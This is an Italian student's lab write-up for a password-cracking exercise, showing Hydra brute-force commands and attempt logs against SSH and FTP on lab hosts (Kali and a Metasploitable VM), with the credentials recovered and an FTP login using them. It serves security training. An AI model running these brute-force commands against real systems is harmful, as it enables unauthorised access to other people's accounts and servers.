

Esercizio S6-L4

L'esercizio prevedeva di provare a crackare le password su diversi protocolli.

Ho installato le liste seclists come descriveva l'esercizio sulle slide ma non le ho usate per questioni di tempistiche, le ho sostituite con i file usati nella BW aggiornati con nuovi utenti e password.

Seguendo le istruzioni dell'esercizio si arriva quindi a crackare le password.

Dal momento che si è in grado di utilizzare quel comando base basterà semplicemente sostituire alcuni dati per poterlo riusare in modi diversi.

SSH KALI-KALI

```
gimp@kali: ~/Desktop
File Actions Edit View Help
[ATTEMPT] target 192.168.1.18 - login "bobek27" - pass "pretorians" - 83 of 374 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "bobek27" - pass "16021981jaro7139" - 84 of 374 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "bobek27" - pass "deniska2007" - 85 of 374 [child 3] (0/0)
[STATUS] 85.00 tries/min, 85 tries in 00:01h, 289 to do in 00:04h, 4 active
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "" - 86 of 374 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "dzk1k4rg995" - 87 of 374 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "1234a5" - 88 of 374 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "password" - 89 of 374 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "msfadmin" - 90 of 374 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "testpass" - 91 of 374 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "Werjenej" - 92 of 374 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "test_gimp" - pass "janicka33" - 93 of 374 [child 3] (0/0)
[22][ssh] host: 192.168.1.18 login: test_gimp password: testpass
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "" - 103 of 374 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "dzk1k4rg995" - 104 of 374 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "1234a5" - 105 of 374 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "password" - 106 of 374 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "msfadmin" - 107 of 374 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "testpass" - 108 of 374 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "Werjenej" - 109 of 374 [child 0] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "janicka33" - 110 of 374 [child 2] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "pass" - 111 of 374 [child 3] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "matysek45" - 112 of 374 [child 1] (0/0)
[ATTEMPT] target 192.168.1.18 - login "msfadmin" - pass "Andrea" - 113 of 374 [child 0] (0/0)
```

FTP KALI-KALI

```
(gimp@kali)-[~/Desktop]
$ ftp test_gimp@192.168.1.18
Connected to 192.168.1.18.
220 (vsFTPD 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

```

(gimp@kali)-[~/Desktop]
$ hydra -L utenti.txt -P password.txt 192.168.1.18 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:46:15
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 374 login tries (l:22/p:17), ~82 tries per task
[DATA] attacking ftp://192.168.1.18:21/
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 292 to do in 00:04h, 4 active
[21][ftp] host: 192.168.1.18 login: test_gimp password: testpass

```

FTP KALI-METASPLOITABLE

```

(gimp@kali)-[~/Desktop]
$ hydra -L utenti.txt -P password.txt 192.168.1.101 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:52:15
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 374 login tries (l:22/p:17), ~94 tries per task
[DATA] attacking ftp://192.168.1.101:21/
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 292 to do in 00:04h, 4 active
[21][ftp] host: 192.168.1.101 login: msfadmin password: msfadmin
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

```